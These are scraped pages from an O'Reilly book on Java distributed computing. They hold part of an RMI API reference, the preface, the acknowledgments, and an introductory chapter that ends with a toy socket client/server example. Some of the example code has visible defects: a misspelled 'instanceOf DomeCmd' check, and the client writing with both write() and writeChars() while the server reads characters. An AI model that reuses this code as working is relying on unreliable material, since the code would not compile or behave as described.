    public static UID read(DataInput in) throws java.io.IOException;
// Public Instance Methods
    public boolean equals(Object obj);
    public int hashCode();
    public String toString();
    public void write(DataOutput out) throws java.io.IOException;
}
java.rmi.server.UnicastRemoteObject

This class represents a nonreplicated remote object: one that lives as a singular implementation on a server with point-to-point connections to each client. through reference stubs. This remote server class does not implement persistence, so client references to the object are only valid during the lifetime of the object. This is the only concrete subclass of RemoteServer offered in the standard JDK 1.1 distribution.

public class UnicastRemoteObject extends RemoteServer {
// Protected Constructors
    protected UnicastRemoteObject() throws RemoteException;
// Class Methods
    public static RemoteStub exportObject(Remote obj)
                             throws RemoteException;
// Public Instance Methods
    public Object clone() throws CloneNotSupportedException;
}
java.rmi.server.Unreferenced

Appropriately enough, the last interface in this reference is the Unreferenced interface. If a server object implements this interface, then the unreferenced() method is called by the RMI runtime when the last client reference to a remote object is dropped. A remote object shouldn't be garbage collected until all of its remote and local references are gone. So the unreferenced() method isn't a trigger for an object to be finalized, but rather a chance for the remote object to respond appropriately when its client reference count goes to zero. The unreferenced object could, for example, start a timer countdown to move the object to persistent storage after a given idle time.

public interface Unreferenced {
// Public Instance Methods
    public void unreferenced();}
Previous | Home | Next
D.2. The java.rmi.registry Package | Book Index | Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Preface (Java Distributed Computing)

 Java™ Distributed Computing Search this book

Preface

In a sense, distributed computing has been with us since the beginning of computer technology. A conventional computer can be thought of as "internally distributed," in the sense that separate, distinct devices within the computer are responsible for certain well-defined tasks (arithmetic/logic operations, operator stack storage, short/long-term data storage). These "distributed" devices are interconnected by communication pathways that carry information (register values, data) and messages (assembler instructions, microcode instructions). The sources and destinations of these various pathways are literally hardwired, and the "protocols" that they use to carry information and messages are rigidly defined and highly specific. Reorganizing the distribution scheme of these devices involves chip fabrication, soldering, and the recoding of microprograms, or the construction of a completely new computer. This level of inflexibility offers benefits, however, in terms of processing speed and information-transfer latencies. The functions expected of a computing device at this level are very well defined and bounded (perform arithmetic and logic operations on data, and store the results); therefore, the architecture of the device can and should be highly optimized for these tasks.

The history of truly distributed computing begins with the first day that someone tapped a mainframe operator on the shoulder and asked, "Hey, is there any way we can both use that?" Display terminals, with no computing capabilities themselves, were developed to be attached to monolithic central computing devices, and to communicate with them in very rigid and limited protocols. This allowed multiple users to access and submit jobs to the mainframe. Other I/O devices also needed to be attached to the mainframe, generally to store and retrieve data to/from other non-volatile forms (printed storage such as paper tape and punch cards, and later magnetic storage devices). For the most part, the physical links and communications protocols used to hook in these devices were custom designed for each case, and not reusable for other devices.

Meanwhile, people began to desire personal, dedicated computing resources that were available on demand, not when the mainframe schedule said so. The personal computer fit the bill, and its popularity has been growing ever since. Personal computers and workstations, despite the larger numbers of units, followed a similar evolutionary path to mainframes with respect to peripheral devices. Many and varied hardware and communications protocols were born to allow printers, disk drives, pointing devices, and the like to be connected to people's desktop computers. At first, peripheral vendors saw these custom-fit solutions as a potential for competitive advantage in the market; i.e., make your hardware or software faster or more laden with features than the next product, to become the preferred vendor of whatever it is you make. Gradually, both users and makers of personal computers became weary of this game. Users became frustrated with the lack of consistency in the installation, use, and maintenance of these devices, and computer makers were faced with an array of hardware and software interfaces, from which they had to choose the most advantageous ones to support directly in their hardware and operating systems. This became one of the major attractions for buyers of Apple's computer line, second only to their user-friendly operating system. Apple defined and strictly controlled the hardware and software interfaces to their systems, thereby guaranteeing that any third-party devices or software that followed their specifications and standards would operate correctly with their computers.

The concept of standards for hardware and software interfaces caught on at many levels. Standards for every level of distributed computing, from hardware interfaces, network cabling, and physical-level communications protocols, all the way up to application-level protocols, were developed, refined, and promoted in the marketplace. Some standards achieved a critical usage mass, for various reasons, and persist today, such as Ethernet, TCP/IP, and RPC. Others were less popular, and faded with time.

Today, both computing devices and network bandwidth have begun to achieve commodity status. A set of standard protocols, some of which make up the World Wide Web, are beginning to evolve into a worldwide network operating system. Specifics about the type of hardware, operating system, and network being used are becoming more and more irrelevant, making information and tools to process information more and more easily deployable and available. Security protocols have been defined to help owners of information and services restrict access to them. Researchers and developers are looking forward to the next evolutionary steps in information technology, such as autonomous agents and enterprise-wide distributed object systems. In the midst of this revolutionary period, Java™ can be viewed as both a product and a catalyst of all of these trends. Java offers an environment in which the network is truly the computer, and specifics such as operating system features and transport protocols become even more blurred and less important, though not yet completely irrelevant. The Java language and environment promise to play a prominent part in the next generation of distributed computing.

0.1. What Does This Book Cover?

This book is an overview of the tools and techniques that are at your disposal for building distributed computing systems in Java. In most cases, these tools are provided inherently in the Java API itself, such as the Java Remote Method Invocation (RMI) API, the Java Security API, and the Java™ Database Connectivity ( JDBC) package. Other tools are standards and protocols that exist independently of Java and its environment, but are supported within Java, either through its core APIs or by add-on APIs offered by third-party vendors. Some examples include the Common Object Request Broker Adapter (CORBA) standards, the multicast IP protocol, and the Secure Socket Layer (SSL) standard.

I intend this book to serve as both explanatory and reference material for you, the professional developer. Most of the book is made up of detailed explanations of concepts, tools, and techniques that come into play in most distributed computing situations. At the same time, for readers who are more familiar with the subject matter, the text and code examples are broken up into subject areas that should make it fairly easy to reference important bits.

0.1.1. Organization

The first four chapters of the book (after the Introduction) cover some fundamental tools that come into play in most distributed applications: basic networking tools, distributed objects, multithreading, and security measures. The last five chapters go into detail about some common types of distributed applications: message-passing systems, multitier systems involving databases, bandwidth-limited systems, and systems that allow multiple distributed users or user agents to collaborate dynamically over a network; and discuss the special issues that arise in each.

The figure on the next page shows the dependence of the various chapters on each other, to give you a sense of the order (random or otherwise) that you can choose as you journey through the book. Since the Introduction covers some concepts and terminology that will persist throughout the book, I'd suggest reading it before any of the others. The next four chapters can be read in just about any order, depending on your level of experience with each topic. Since the later chapters use concepts from all of the chapters in the first part of the book, you should have a basic understanding of their topics, either from personal experience or from reading the earlier chapters, before delving into the second part of the book.

Previous | Home | Next
Copyright Page | Book Index | 0.2. Who Should Read This Book?
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Who Should Read This Book? (Java Distributed Computing)

 Java Distributed Computing Search this book

0.2. Who Should Read This Book?

This book covers writing distributed applications in Java. A good foundation in the Java language itself, i.e., its syntax and structure, is assumed throughout the book. Thorough knowledge of the Java API is less important, since many of the core Java APIs are discussed in the early chapters, from the standpoint of their support for distributed applications.

Since Java is an object-oriented language, it's only natural that some of the discussion in the book will involve concepts like classes, interfaces, instances, inheritance, and methods; therefore, a decent understanding of these will help. At times we also touch on some object-oriented design concepts, like using abstract interfaces to provide implementation-independent APIs, but these discussions are pretty limited and the concepts are laid out fairly well. I've tried to keep these such that you don't need to be deeply entrenched in object-oriented jargon to follow the discussion.

Throughout the book I assume that you are motivated to build or expand on your understanding of distributed application development in Java. Whether you're a Java developer looking to branch out into distributed systems, or a distributed systems developer looking to apply your experience in a Java environment, you should find this book a practical, and hopefully enjoyable, guide during your explorations, and a useful reference while you're in the thick of developing remote computing applications.

Previous | Home | Next
0.1. What Does This Book Cover? | Book Index | 0.3. About the Source Code
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Acknowledgments (Java Distributed Computing)

 Java Distributed Computing Search this book

0.5. Acknowledgments

I'm indebted to numerous people who have contributed to making this book a reality. My wife, Sandra Mallalieu, endured being a part-time widow during most of the writing of the book, taking solace in the company of our semi-orphaned pets. My comrades and former teammates at GE Corporate Research and Development were in large part the catalysts for the genesis of this book. I'm especially grateful to Rick Arthur, Andy Deitsch, Bill Smith, Jon Stillman, and the rest of the Information Technology Lab staff for being compatriots and intellectual sparring partners during my time in their company. As always, I owe enormous thanks to Andrea Schmitz for being inspirational, supportive, and an all-around Good Person. My thanks also go to Bill Lorensen, for getting me hooked on objects oh-so-many years ago, and to John Bloomer, for getting me in touch with O'Reilly to kick off this whole thing. I'd also like to thank my current team in the Information Technology group at the Harvard Business School, whose exploits have helped me to focus on some of the more practical facets of the subject matter.

Of course, the book itself wouldn't be what it is without my editor at O'Reilly, Mike Loukides, who helped guide the direction of the book at many levels. The technical reviewers: Andy Deitsch, Jonathan Knudsen, Tom McGinn, and Don Bolinger, provided invaluable comments that prompted some significant additions to the content.

The efforts of the design and production team at O'Reilly brought the whole thing to its final fruition. Madeleine Newell was the production editor; John Files copyedited the manuscript; David Futato and Sheryl Avruch provided quality control; Mike Sierra took care of conversion and gave technical support; Seth Maislin produced the index; Robert Romano produced the figures; Edie Freedman designed the cover, and Nancy Priest created the inside layout.

Previous | Home | Next
0.4. Conventions Used in This Book | Book Index | 1. Introduction
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Introduction (Java Distributed Computing)

 Java Distributed Computing Search this book

Chapter 1. Introduction

Contents:

Anatomy of a Distributed Application
Requirements for Developing Distributed Applications
What Does Java Provide?

For the past decade, "distributed computing" has been one of the biggest buzz phrases in the computer industry. At this point in the information age, we know how to build networks; we use thousands of engineering workstations and personal computers to do our work, instead of huge behemoths in glass-walled rooms. Surely we ought to be able to use our networks of smaller computers to work together on larger tasks. And we do--an act as simple as reading a web page requires the cooperation of two computers (a client and a server) plus other computers that make sure the data gets from one location to the other. However, simple browsing (i.e., a largely one-way data exchange) isn't what we usually mean when we talk about distributed computing. We usually mean something where there's more interaction between the systems involved.

You can think about distributed computing in terms of breaking down an application into individual computing agents that can be distributed on a network of computers, yet still work together to do cooperative tasks. The motivations for distributing an application this way are many. Here are a few of the more common ones:

  • Computing things in parallel by breaking a problem into smaller pieces enables you to solve larger problems without resorting to larger computers. Instead, you can use smaller, cheaper, easier-to-find computers.

  • Large data sets are typically difficult to relocate, or easier to control and administer located where they are, so users have to rely on remote data servers to provide needed information.

  • Redundant processing agents on multiple networked computers can be used by systems that need fault tolerance. If a machine or agent process goes down, the job can still carry on.

There are many other motivations, and plenty of subtle variations on the ones listed here.

Assorted tools and standards for assembling distributed computing applications have been developed over the years. These started as low-level data transmission APIs and protocols, such as RPC and DCE, and have recently begun to evolve into object-based distribution schemes, such as CORBA, RMI, and OpenDoc. These programming tools essentially provide a protocol for transmitting structured data (and, in some cases, actual runnable code) over a network connection. Java offers a language and an environment that encompass various levels of distributed computing development, from low-level network communication to distributed objects and agents, while also having built-in support for secure applications, multiple threads of control, and integration with other Internet-based protocols and services.

This chapter gives an introduction to distributed application development, and how Java can be used as a tool towards this end. In the following chapters, we'll start by reviewing some essential background material on network programming, threads, and security. Then we'll move into a series of chapters that explore different distributed problems in detail. Where appropriate, we'll use RMI, CORBA, or a homegrown protocol to implement examples. If you are developing distributed applications, you need to be familiar with all possible solutions and where they're appropriate; so where we choose a particular tool, we'll try to discuss how things would be better or worse if you chose a different set of tools in building something similar.

1.1. Anatomy of a Distributed Application

A distributed application is built upon several layers. At the lowest level, a network connects a group of host computers together so that they can talk to each other. Network protocols like TCP/IP let the computers send data to each other over the network by providing the ability to package and address data for delivery to another machine. Higher-level services can be defined on top of the network protocol, such as directory services and security protocols. Finally, the distributed application itself runs on top of these layers, using the mid-level services and network protocols as well as the computer operating systems to perform coordinated tasks across the network.

At the application level, a distributed application can be broken down into the following parts:

Processes

A typical computer operating system on a computer host can run several processes at once. A process is created by describing a sequence of steps in a programming language, compiling the program into an executable form, and running the executable in the operating system. While it's running, a process has access to the resources of the computer (such as CPU time and I/O devices) through the operating system. A process can be completely devoted to a particular application, or several applications can use a single process to perform tasks.

Threads

Every process has at least one thread of control. Some operating systems support the creation of multiple threads of control within a single process. Each thread in a process can run independently from the other threads, although there is usually some synchronization between them. One thread might monitor input from a socket connection, for example, while another might listen for user events (keystrokes, mouse movements, etc.) and provide feedback to the user through output devices (monitor, speakers, etc.). At some point, input from the input stream may require feedback from the user. At this point, the two threads will need to coordinate the transfer of input data to the user's attention.

Objects

Programs written in object-oriented languages are made up of cooperating objects. One simple definition of an object is a group of related data, with methods available for querying or altering the data (getName(), set-Name()), or for taking some action based on the data (sendName(Out-putStreamo)). A process can be made up of one or more objects, and these objects can be accessed by one or more threads within the process. And with the introduction of distributed object technology like RMI and CORBA, an object can also be logically spread across multiple processes, on multiple computers.

Agents

For the sake of this book, we will use the term "agent" as a general way to refer to significant functional elements of a distributed application.[1] While a process, a thread, and an object are pretty well-defined entities, an agent (at least the definition we'll use for the sake of this book) is a higher-level system component, defined around a particular function, or utility, or role in the overall system. A remote banking application, for example, might be broken down into a customer agent, a transaction agent and an information brokerage agent. Agents can be distributed across multiple processes, and can be made up of multiple objects and threads in these processes. Our customer agent might be made up of an object in a process running on a client desktop that's listening for data and updating the local display, along with an object in a process running on the bank server, issuing queries and sending the data back to the client. There are two objects running in distinct processes on separate machines, but together we can consider them to make up one customer agent, with client-side elements and server-side elements.

[1]The term "agent" is overused in the technology community. In the more formal sense of the word, an agent is a computing entity that is a bit more intelligent and autonomous than an object. An agent is supposed to be capable of having goals that it needs to accomplish, such as retrieving information of a certain type from a large database or remote data sources. Some agents can monitor their progress towards achieving their goals at a higher level than just successful execution of methods, like an object. The definition of agent that we're using here is a lot less formal than this, and a bit more general.

So a distributed application can be thought of as a coordinated group of agents working to accomplish some goal. Each of these agents can be distributed across multiple processes on remote hosts, and can consist of multiple objects or threads of control. Agents can also belong to more than one application at once. You may be developing an automated teller machine application, for example, which consists of an account database server, with customer request agents distributed across the network submitting requests. The account server agent and the customer request agents are agents within the ATM application, but they might also serve agents residing at the financial institution's headquarters, as part of an administrative application.

Previous | Home | Next
0.5. Acknowledgments | Book Index | 1.2. Requirements for Developing Distributed Applications
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Requirements for Developing Distributed Applications (Java Distributed Computing)

 Java Distributed Computing Search this book

1.2. Requirements for Developing Distributed Applications

Now that we've defined some terms that can be used to discuss distributed applications, we can start to look at what goes into developing these applications. In this section we'll discuss some of the issues that you face when developing distributed systems, and what kinds of tools and capabilities you'll need in order to address these issues. The next section will describe how Java provides these tools and capabilities.

1.2.1. Partitioning and Distributing Data and Functions

If you think of the computer hosts and network connections available for a distributed application to use as a "virtual machine," then one of the primary tasks you have is to engineer an optimal mapping of processes, objects, threads and agents to the various parts of this virtual machine. In some cases, a straightforward client/server partitioning based on data requirements can be used. Computational tasks can be distributed based on the data needs of the application: maximize local data needed for processing, and minimize data transfers over the network. In other, more compute-intensive applications, you can partition the system based upon the functional requirements of the system, with data mapped to the most logical compute host. This method of partitioning is especially useful when the overhead associated with data transfers is negligible compared to the computing time spent at the various hosts.

In the best of all possible worlds, you could develop modules based upon either data- or functionally driven partitioning. You could then distribute these modules as needed throughout a virtual machine comprised of computers and communication links, and easily connect the modules to establish the data flow required by the application. These module interconnections should be as flexible and transparent as possible, since they may need to be adjusted at any point during development or deployment of the distributed system.

1.2.2. Flexible, Extendible Communication Protocols

The type and format of the information that's sent between agents in a distributed system is subject to many varied and changing requirements. Some of them are a result of the data/function partitioning issues discussed in the previous section. The allocation of tasks and data to agents in the distributed system has a direct influence on what type of data will need to be communicated between agents, how much data will be transferred, and how complicated the communication protocol between agents needs to be. If most of our data is sitting on the host where it's needed, then communications will be mostly short, simple messages to report status, instruct other agents to start processing, etc. If central data servers are providing lots of data to remote agents, then the communication protocol will be more complex and connections between nodes in the system will stay open longer. You need to be able to implement various styles of communication, and adapt them to evolving requirements.

The communication protocols a given agent will need to understand might also be dictated by legacy systems that need to be incorporated into the system. These legacy systems might control data or functionality that's critical to enabling a given system, but are not easily transferable to a new system. Support for these protocols should be available, or easily attainable, in your distributed application development environment. In the worst case, when support for a required protocol is unavailable due to its obscurity or the expense associated with the available support, you should have the option to develop the required protocol support yourself, and have a reasonable way of incorporating the extended communications abilities into the existing infrastructure.

1.2.3. Multithreading Requirements

Agents often have to execute several threads of control at once, either to service requests from multiple remote agents, or block on I/O while processing data, or for any number of other reasons. Multithreading is often an effective way to optimize the use of various resources, such as CPU time, local storage devices, or network bandwidth. The ability to create and control multiple threads of control is especially important in developing distributed applications, since distributed agents are typically more asynchronous than agents within a single process on a single host. The environments in which agents are running can be very heterogeneous, too, and we don't want every agent in a distributed application to be a slave to the slowest, most heavily loaded agent in the system. We don't want our multiprocessor compute server, for example, to be sitting idle while it waits for a slow client desktop to read and render the results of an analysis. We would want a single thread on the compute server to be servicing the slow client, and while the client is crawling along trying to read data and draw graphs on its display, other threads on the compute server can be doing useful work, like analyzing the data from other clients.

1.2.4. Security Issues

The information transactions that occur between computing agents often need to be secure from outside observation, when information of a sensitive nature needs to be shared between agents. In situations where an outside agent not under the host's direct control is allowed to interact with local agents, it is also wise to have reasonable security measures available to authenticate the source of the agent, and to prevent the agent from wreaking havoc once it gains access to local processing resources. So at a minimum a secure distributed application needs a way to authenticate the identity of agents, define resource access levels for agents, and encrypt data for transmission between agents.

Previous | Home | Next
1.1. Anatomy of a Distributed Application | Book Index | 1.3. What Does Java Provide?
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


What Does Java Provide? (Java Distributed Computing)

 Java Distributed Computing Search this book

1.3. What Does Java Provide?

The original design motivations behind Java and its predecessor, Oak, were concerned mainly with reliability, simplicity, and architecture neutrality. Subsequently, as the potential for Java as an "Internet programming language" was seen by its developers at Sun Microsystems, support for networking, security, and multithreaded operations was incorporated or improved. All of these features of the Java language and environment also make for a very powerful distributed application development environment. This is, of course, no accident. The requirements for developing an Internet-based application overlap to a great extent with those of distributed application development.

In this section, we review some of the features of Java that are of particular interest in distributed applications, and how they help to address some of the issues described in the previous section.

1.3.1. Object-Oriented Environment

Java is a "pure" object-oriented language, in the sense that the smallest programmatic building block is a class. A data structure or function cannot exist or be accessed at runtime except as an element of a class definition. This results in a well-defined, structured programming environment in which all domain concepts and operations are mapped into class representations and transactions between them. This is advantageous for systems development in general, but also has benefits specifically for you as the distributed system developer. An object, as an instance of a class, can be thought of as a computing agent. Its level of sophistication as an autonomous agent is determined by the complexity of its methods and data representations, as well as its role within the object model of the system, and the runtime object community defining the distributed system. Distributing a system implemented in Java, therefore, can be thought of as simply distributing its objects in a reasonable way, and establishing networked communication links between them using Java's built-in network support. If you have the luxury of designing a distributed system from the ground up, then your object model and class hierarchy can be specified with distribution issues incorporated.

1.3.2. Abstract Interfaces

Java's support for abstract object interfaces is another valuable tool for developing distributed systems. An interface describes the operations, messages, and queries a class of objects is capable of servicing, without providing any information about how these abilities are implemented. If a class is declared as implementing a specified interface, then the class has to implement the methods specified in the interface. The advantage of implementation-neutral interfaces is that other agents in the system can be implemented to talk to the specified interface without knowing how the interface is actually implemented in a class. By insulating the class implementation from those using the interface, we can change the implementation as needed. If a class needs to be moved to a remote host, then the local implementation of the interface can act as a surrogate or stub, forwarding calls to the interface over the network to the remote class.

Abstract interfaces are a powerful part of the Java language and are used to implement critical elements of the Java API. The platform independence of the Abstract Windowing Toolkit (AWT) is accomplished using abstract component interfaces that are implemented on each platform using the native windowing system (the X Window System, Macintosh, Windows, etc.). Certain key packages in the core Java API, such as the java.security package, also make use of interfaces to allow for specialized implementations by third-party vendors. The Java Remote Method Invocation (RMI) package uses abstract interfaces to define local stubs for remote objects. The concept of abstract interfaces is also common in other distributed object systems such as CORBA, in which interfaces defined in Interface Definition Language (IDL) define the object model of a CORBA system.[2] The Inter-Language Unification system (ILU), developed at Xerox PARC, also depends upon an implementation-neutral interface language called Interface Specification Language (ISL).[3]

[2]More information about CORBA and IDL can be obtained from the Object Management Group at http://www.omg.org/.

[3]See the ILU home page at ftp://ftp.parc.xerox.com/pub/ilu/ilu.html.

1.3.3. Platform Independence

Code written in Java can be compiled into platform-independent bytecodes using Sun's Java compiler, or any of the many third-party Java compilers now on the market. These bytecodes run on the Java Virtual Machine, a virtual hardware architecture which is implemented in software running on a "real" machine and its operating system. Java bytecodes can be run on any platform with a Java Virtual Machine. At the time of this writing, a Java VM is available for most major Unix variants, OS/2, Windows95 and NT, MacOS, and a variety of other operating systems.

This is a major boon for you, since it allows virtually any available PC or workstation to be home to an agent in a distributed system. Once the elements of the system have been specified using Java classes and compiled into Java bytecodes, they can migrate without recompilation to any of the hosts available. This makes for easy data- and load-balancing across the network. There is even support in the Java API for downloading a class definition (its bytecodes) through a network connection, creating an instance of the class, and incorporating the new object into the running process. This is possible because Java bytecodes are runnable on the Java Virtual Machine, which is guaranteed to be underneath any Java application or applet.

1.3.4. Fault Tolerance Through Exception Handling

Java supports throwing and catching errors and exceptions, both system-defined and application-defined. Any method can throw an exception; it is the calling method's responsibility to handle the exception, or propagate the exception up the calling chain. Handling an exception is a matter of wrapping any potential exception-causing code with a try/catch/finally statement, where each catch clause handles a particular type of exception. If a method chooses to ignore particular exceptions, then it must declare that it throws the exceptions it is ignoring. When a called method generates an exception, it will be propagated up the calling chain to be handled by a catch clause in a calling method, or, if not, to result in a stack dump and exit from the Java process. After all is said and done, whether the try block runs to completion without a problem, or an exception gets thrown, the code in the finally block is always called. So you can use the finally block to clean up any resources you created in the try block, for example, and be sure that the cleanup will take place whether an exception is thrown or not.

An agent can be written to handle the exceptions that can be thrown by each method it calls. Additionally, since any subclass of java.io.Throwable can be declared in a method's throws clause, an application can define its own types of exceptions to indicate specific abnormalities. Since an exception is represented as an object in the Java environment, these application-specific exceptions can carry with them data and methods that can be used to characterize, diagnose, and potentially recover from them.

1.3.5. Network Support

The Java API includes multilevel support for network communications. Low-level sockets can be established between agents, and data communication protocols can be layered on top of the socket connection. The java.io package contains several stream classes intended for filtering and preprocessing input and output data streams. APIs built on top of the basic networking support in Java provide higher-level networking capabilities, such as distributed objects, remote connections to database servers, directory services, etc.

While the majority of this book will be concerned with the use of distributed object schemes like RMI, along with other higher-level networking APIs, it's also important to get a feeling for the basic networking capabilities included in the core Java API. Figure 1-1 shows a simple network application involving a client and a server; the client sends commands to the server, the server executes the commands and sends responses back to the client. To demonstrate the network support in Java and how it can be exploited for distributed applications, Examples Example 1-1 through Example 1-4 show an implementation of this simple client-server system using sockets and input/output streams. The implementation includes the following elements:

  • A set of command objects that represent our command protocol between the client and the server

  • A subclass of java.io.DataInputStream that understands our protocol

  • A client that can send commands in the right format to the server, and a server that can accept client connections, read commands using our specialized stream, and send responses back

Figure 1-1. A simple client/server system

The client connects to the server over a socket, then sends commands to the server over the socket. The server uses the specialized DataInputStream to read the commands from the socket. The input stream automatically creates the right command object based on the type of message from the client (e.g., a "GET" message will be converted into a GetCmd object). The server then executes the command and sends the result to the client over the socket.

Example 1-1 shows a set of classes that represent the commands a client can send to our server. The SimpleCmd class simply holds a single String argument and has an abstract Do() method that subclasses will implement to do the right thing for the particular command they represent. Our protocol consists of three basic commands: "GET," "HEAD," and "POST,"[4] along with a command to close the connection, "DONE." The GetCmd, HeadCmd, PostCmd, and DoneCmd classes derived from SimpleCmd represent these commands.

[4]Sound familiar? These commands are the heart of the HTTP protocol, which in turn is the heart of the World Wide Web.

Example 1-1. Commands for the Client-Server System

package dcj.examples;

import java.lang.*;

abstract class SimpleCmd
{
  protected String arg;

  public SimpleCmd(String inArg) {
    arg = inArg;
  }

  public abstract String Do();
}

class GetCmd extends SimpleCmd
{
  public GetCmd(String s) { super(s); }

  public String Do() {
    String result = arg + " Gotten\n";
    return result;
  }
}

public class HeadCmd extends SimpleCmd
{
  public HeadCmd(String s) { super(s); }
  public String Do() {
    String result = "Head \"" + arg + "\" processed.\n";
    return result;
  }
}

class PostCmd extends SimpleCmd
{
  public PostCmd(String s) { super(s); }

  public String Do() {
    String result = arg + " Posted\n";
    return result;
  }
}

class DoneCmd extends SimpleCmd
{
  public DoneCmd() { super(""); };
  public String Do() {
    String result = "All done.\n";
    return result;
  }
}

The classes in Example 1-1 represent the communication protocol for our client-server application, and the SimpleCmdInputStream class in Example 1-2 acts as the communication link that understands this protocol. The SimpleCmdInputStream is a subclass of java.io.DataInputStream that adds a readCommand() method to its interface. This method parses the data coming in over the stream, determines which command is being sent, and constructs the corresponding command class from Example 1-1.

Example 1-2. A Specialized DataInputStream

package dcj.examples;

import java.lang.*;
import java.io.*;
import java.net.*;

public class SimpleCmdInputStream extends DataInputStream
{
  public SimpleCmdInputStream(InputStream in) {
    super(in);
  }

  public String readString() throws IOException {
    StringBuffer strBuf = new StringBuffer();
    boolean hitSpace = false;
    while (!hitSpace) {
      char c = readChar();
      hitSpace = Character.isSpace(c);
      if (!hitSpace)
        strBuf.append(c);
    }

    String str = new String(strBuf);
    return str;
  }

  public SimpleCmd readCommand() throws IOException {
    SimpleCmd cmd;
    String commStr = readString();
    if (commStr.compareTo("HEAD") == 0)
      cmd = new HeadCmd(readString());
    else if (commStr.compareTo("GET") == 0)
      cmd = new GetCmd(readString());
    else if (commStr.compareTo("POST") == 0)
      cmd = new PostCmd(readString());
    else if (commStr.compareTo("DONE") == 0)
      cmd = new DoneCmd();
    else
      throw new IOException("Unknown command.");

    return cmd;
  }
}

Finally, the SimpleClient in Example 1-3 and SimpleServer in Example 1-4 serve as the client and server agents in our distributed system. Our SimpleClient is very simple indeed. In its constructor, it opens a socket to a server on a given host and port number. Its main() method makes a SimpleClient object using command-line arguments that specify the host and port to connect to, then calls the sendCommands() method on the client. This method just sends a few commands in the right format to the server over the OutputStream from the socket connection.

Notice that the client's socket is closed in its finalize() method. This method will only get called after all references to the client are gone, and the system garbage-collector runs to mark the object as finalizable. If it's important that the socket be closed immediately after the client is done with it, you may want to close the socket explicitly at the end of the sendCommands() method.

Example 1-3. A Simple Client

package dcj.examples;

import java.lang.*;
import java.net.*;
import java.io.*;

public class SimpleClient
{
  // Our socket connection to the server
  protected Socket serverConn;

  // The input command stream from the server
  protected SimpleCmdInputStream inStream;

  public SimpleClient(String host, int port)
      throws IllegalArgumentException {
    try {
      System.out.println("Trying to connect to " + host + " " + port);
      serverConn = new Socket(host, port);
    }
    catch (UnknownHostException e) {
      throw new IllegalArgumentException("Bad host name given.");
    }
    catch (IOException e) {
      System.out.println("SimpleClient: " + e);
      System.exit(1);
    }

    System.out.println("Made server connection.");
  }

  public static void main(String argv[]) {
    if (argv.length < 2) {
      System.out.println("Usage: java SimpleClient [host] [port]");
      System.exit(1);
    }

    String host = argv[0];
    int port = 3000;
    try {
      port = Integer.parseInt(argv[1]);
    }
    catch (NumberFormatException e) {}

    SimpleClient client = new SimpleClient(host, port);
    client.sendCommands();
  }

  public void sendCommands() {
    try {
      OutputStreamWriter wout =
        new OutputStreamWriter(serverConn.getOutputStream());
      BufferedReader rin = new BufferedReader(
        new InputStreamReader(serverConn.getInputStream()));

      // Send a GET command...
      wout.write("GET goodies ");
      // ...and receive the results
      String result = rin.readLine();
      System.out.println("Server says: \"" + result + "\"");

      // Now try a POST command
      wout.write("POST goodies ");
      // ...and receive the results
      result = rin.readLine();
      System.out.println("Server says: \"" + result + "\"");

      // All done, tell the server so
      wout.writeChars("DONE ");
      result = rin.readLine();
      System.out.println("Server says: \"" + result + "\"");
    }
    catch (IOException e) {
      System.out.println("SimpleClient: " + e);
      System.exit(1);
    }
  }

  public synchronized void finalize() {
    System.out.println("Closing down SimpleClient...");
    try { serverConn.close(); }
    catch (IOException e) {
      System.out.println("SimpleClient: " + e);
      System.exit(1);
    }
  }
}

The SimpleServer class has a constructor that binds itself to a given port, and a listen() method that continually checks that port for client connections. Its main() method creates a SimpleServer for a port specified with command-line arguments, then calls the server's listen() method. The listen() method loops continuously, waiting for a client to connect to its port. When a client connects, the server creates a Socket to the client, then calls its serviceClient() method to parse the client's commands and act on them. The serviceClient() takes the InputStream from the client socket, and wraps our SimpleCmdInputStream around it. Then the method loops, calling the readCommand() method on the stream to get the client's commands. If the client sends a DONE command, then the loop stops and the method returns. Until then, each command is read from the stream, and the Do() method is called on each. The string returned from the Do() call is returned to the client over the OutputStream from the client socket.

Example 1-4. A Simple Server

package dcj.examples;

import java.net.*;
import java.io.*;
import java.lang.*;

// A generic server that listens on a port and connects to any clients it
// finds. Made to extend Thread, so that an application can have multiple
// server threads servicing several ports, if necessary.

public class SimpleServer
{
  protected int portNo = 3000; // Port to listen to for clients
  protected ServerSocket clientConnect;

  public SimpleServer(int port) throws IllegalArgumentException {
    if (port <= 0)
      throw new IllegalArgumentException(
                  "Bad port number given to SimpleServer constructor.");

    // Try making a ServerSocket to the given port
    System.out.println("Connecting server socket to port...");
    try { clientConnect = new ServerSocket(port); }
    catch (IOException e) {
      System.out.println("Failed to connect to port " + port);
      System.exit(1);
    }

    // Made the connection, so set the local port number
    this.portNo = port;
  }

  public static void main(String argv[]) {
    int port = 3000;
    if (argv.length > 0) {
      int tmp = port;
      try {
        tmp = Integer.parseInt(argv[0]);
      }
      catch (NumberFormatException e) {}

      port = tmp;
    }

    SimpleServer server = new SimpleServer(port);
    System.out.println("SimpleServer running on port " + port + "...");
    server.listen();
  }

  public void listen() {
    // Listen to port for client connection requests.
    try {
      System.out.println("Waiting for clients...");
      while (true) {
        Socket clientReq = clientConnect.accept();
        System.out.println("Got a client...");
        serviceClient(clientReq);
      }
    }
    catch (IOException e) {
      System.out.println("IO exception while listening for clients.");
      System.exit(1);
    }
  }

  public void serviceClient(Socket clientConn) {
    SimpleCmdInputStream inStream = null;
    DataOutputStream outStream = null;
    try {
      inStream = new SimpleCmdInputStream(clientConn.getInputStream());
      outStream = new DataOutputStream(clientConn.getOutputStream());
    }
    catch (IOException e) {
      System.out.println("SimpleServer: Error getting I/O streams.");
    }

    SimpleCmd cmd = null;
    System.out.println("Attempting to read commands...");
    while (cmd == null ||
           !(cmd instanceOf DomeCmd)) {
      try { cmd = inStream.readCommand(); }
      catch (IOException e) {
        System.out.println("SimpleServer: " + e);
        System.exit(1);
      }

      if (cmd != null) {
        String result = cmd.Do();
        try { outStream.writeBytes(result); }
        catch (IOException e) {
          System.out.println("SimpleServer: " + e);
          System.exit(1);
        }
      }
    }
  }

  public synchronized void finalize() {
    System.out.println("Shutting down SimpleServer running on port "
                       + portNo);
  }
}

